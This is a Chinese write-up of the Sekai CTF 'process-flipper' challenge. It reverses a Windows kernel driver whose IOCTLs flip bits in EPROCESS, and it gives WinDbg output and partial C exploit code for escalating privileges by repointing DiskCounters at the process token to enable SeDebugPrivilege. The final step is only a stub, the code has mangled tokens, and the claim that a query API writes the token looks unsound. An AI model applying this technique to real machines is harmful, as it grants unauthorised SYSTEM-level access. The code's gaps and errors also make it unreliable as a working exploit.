Sekai CTF ProcessFlipper.sys 驱动漏洞分析与利用

WriteUp 20小时前 admin
12 0 0

challenge 简介

目标是成为 NT Authority/System 并读取旗帜。玩家需要通过一个网页前端提交编译的代码,自动化的漏洞利用器运行这些代码,并将截图返回给玩家。该挑战使用了 windows 11 24H2 版本的 Windows,提供了驱动文件 ProcessFlipper.sys。作者还提到挑战与 抽卡游戏 有关。
摘自作者博客文章:该挑战灵感来自于驱动程序 wfshbr64.sys,该驱动程序存在一个可以操纵 EPROCESS 结构中任意位的漏洞,从而导致本地权限提升。

逆向驱动

首先在 IDA 中打开驱动程序。DriverEntry 是驱动程序的入口,就像二进制文件的 main 函数一样。打开反汇编窗口,你可以看到 WdfDriverCreateWdfBindInfo …… 这些表明这是一个 KMDF 驱动程序。因此,WDM 是 Windows 的传统驱动程序,最终所有驱动程序都是 WDM 驱动程序,它们也更容易逆向。KMDF 是 内核模式驱动程序框架,它封装了 WDM,并提供了良好的 API,使驱动程序开发(尤其是硬件驱动程序开发)变得更容易,所以现代驱动程序大多偏向于使用 KMDF。逆向这个驱动程序并不容易,你需要为 IDA Pro 中的 KDMF 驱动程序添加符号表,所以我转向寻找驱动的 IOCTL,因为大多数漏洞都在那里。

Sekai CTF  ProcessFlipper.sys 驱动漏洞分析与利用


作者实现了两个 IOCTL,它们的 IOCTL 代码是 0x2220040x222008。两个 IOCTL 都对 EPROCESS 对象的元素做了些操作,你可以看到它检查大小是否小于 0x5c00,即 0xb80 *8,这是 Windows 11 24H2 上 EPROCESS 对象的大小。第一个 IOCTL 获取要翻转的位的偏移量并翻转该位,第二个 IOCTL 清除这些位。(你需要查看它是通过位运算来清除位的)

初步概览

我在 Windows 10 22H2 上尝试这个,除了 TokenDiskCounters 的偏移量不同,解决方案没有变化。你可以通过 Vergilius 网站检查这些结构随 Windows 版本的变化。
有关调试器的基本设置,我建议你遵循 OpenSecurityTraining2 的高级 Windbg 课程。你需要将 Windows 设置为“测试模式”以便附加 Windbg 调试器,并使用 OSRLoader 加载驱动程序。

Sekai CTF  ProcessFlipper.sys 驱动漏洞分析与利用

注册服务并启动服务,你可以通过 Windbg 确认这一点。

Sekai CTF  ProcessFlipper.sys 驱动漏洞分析与利用
windbg

_TOKEN 是一个内核对象,描述了进程的安全上下文,包含进程权限等信息。你可以使用 Windbg 中的 dt nt!_TOKEN 命令查看该对象。有两种方法可以提升进程的权限:

  • 第一种方法:将你想要提升权限的进程的 token 替换为 system 进程(系统中权限最高的进程,pid 为 4)的 token。
  • 第二种方法:更改 _TOKEN 对象的 privileges.presentprivileges.enabled 值,以启用 SeDebugPrivilege

在这里,我们无法读取 system 进程的 token,因为我们只能更改当前进程 EPROCESS 对象中的位,所以我们将使用第二种方法。作者发现通过更改 DiskCounters BytesWritten(EPROCESS 对象的一个元素),我们可以使用 NtSystemQueryInformation API 读取并写入该 token。

kd> dqs ffffc703`d61b1080 + 8b8 l2     
ffffc703`d61b1938  ffffc703`d61b1ac0    <---- DiskCounter
ffffc703`d61b1940  00000000`00000000
kd> dqs ffffc703`d61b1080 + 4b8 l2
ffffc703`d61b1538  ffff848a`436c0064     <---- token
ffffc703`d61b1540  00000000`00000000

在这里,我们将 disk counter ffffc703d61b1ac0 覆盖为 ffffc703d61b1530,减去 0x8 是因为我们想覆盖 BytesWritten 而不是 BytesRead。然后使用 NtQuerySystemInformation API 读取 token,并写入 token 的 privileges.presentprivileges.enabled 以启用 SeDebugPrivilege

//0x28 bytes (sizeof)
struct _PROCESS_DISK_COUNTERS
{

    ULONGLONG BytesRead;                                                    //0x0
    ULONGLONG BytesWritten;                                                 //0x8
    ULONGLONG ReadOperationCount;                                           //0x10
    ULONGLONG WriteOperationCount;                                          //0x18
    ULONGLONG FlushOperationCount;                                          //0x20
}; 
Sekai CTF  ProcessFlipper.sys 驱动漏洞分析与利用

漏洞利用

驱动程序创建了一个符号链接对象,以便用户模式应用程序可以访问驱动程序。该驱动程序创建了名为 \\.\ProcessFlipper 的对象。我们需要使用 CreateFile API 打开此对象的句柄以发送 IOCTL。

#define ProcessFlipper "\\.\ProcessFlipper"

HANDLE file = CreateFileA(ProcessFlipper, GENERIC_READ | GENERIC_WRITE, 0NULL, OPEN_EXISTING, 0NULL);
if (file == INVALID_HANDLE_VALUE) {
 printf("[CreateFileA] failed to open handle to processflipper (0x%08X)n", GetLastError());
 return EXIT_FAILURE;
}
else {
 printf("[+] ProcessFlipper handle : 0x%08Xn", (INT)file);
}

接下来,我们需要将 token 的偏移量写入 DiskCounters 的地址,应该是 tokenoffset + 0x80 - 0x8,然后根据位发送 IOCTL 代码,0 为 IOCTL_PROCESS_CLEAR,1 为 IOCTL_PROCESS_SET。传递给 IOCTL 代码的 OutBuffer 需要以位为单位,因此必须乘以 8。我们只需要覆盖最后 3 个字节,所以只需要覆盖 12 位。

bool patch_diskcounter(HANDLE file)
{
 ULONG value = tokenoffset + 0x80 - 0x8;     // add 0x80 to point to token and subtract to get pointed by BytesWritten 

 for (int i = 0; i < 12; i++)
 {
  ULONG BitToFlip = diskCounterOffset * 8 + i;     // bits needed 
  ULONG BytesReturned;

  DWORD ioctlcode = (((ULONG_PTR)value >> i) & 1) ? IOCTL_PROCESS_SET : IOCTL_PROCESS_CLEAR ;
  if (!DeviceIoControl(file, ioctlcode, &BitToFlip, sizeof(BitToFlip), NULL0, &BytesReturned, NULL)) {
   printf("[patch_diskcounter] [%d] DeviceIoControlCode failed (0x%08X)n", i, GetLastError());
   return FALSE;
  }
 }

 return TRUE;
}

一旦 DiskCounters.BytesWritten 指向了 token,我们可以使用 NtQuerySystemInformation 读取 DiskCounter。该结构可以从运行在中等权限级别的进程中查询。微软没有完全记录这一点,但你可以在这里获取更多信息。对 SystemExtendedProcessInformation 的调用应该返回 _SYSTEM_PROCESS_INFORMATION,其中包含指向 BytesWrittenBytesRead 的指针。最后,利用相同的调用,可以重新写入 token 的 privilege 成员来启用 SeDebugPrivilege

int EnableSeDebugPrivilege()
{
 SYSTEM_PROCESS_INFORMATION spi;
 ULONG status, i;
 ULONG ReturnLength;

 status = NtQuerySystemInformation(SystemExtendedProcessInformation, &spi, sizeof(SYSTEM_PROCESS_INFORMATION), &ReturnLength);
 // Check status and error handling 

 for (i = 0; i < spi.NumberOfThreads; i++)
 {
  if (spi.Threads[i].ClientId.UniqueProcess == GetCurrentProcessId())
  {
   printf("[+] found matching process id : %x", spi.Threads[i].ClientId.UniqueProcess);
   // modify privileges for SeDebugPrivilege
  }
 }
 return 0;
}

SeDebugPrivilege 启用后,现在你可以读取flag了。

Sekai CTF  ProcessFlipper.sys 驱动漏洞分析与利用

环境配置以及漏洞驱动可以在这里下载 https://github.com/project-sekai-ctf/sekaictf-2024/tree/main/pwn/process-flipper


原文始发于微信公众号(3072):Sekai CTF ProcessFlipper.sys 驱动漏洞分析与利用

版权声明:admin 发表于 2024年10月17日 下午5:05。
转载请注明:Sekai CTF ProcessFlipper.sys 驱动漏洞分析与利用 | CTF导航

相关文章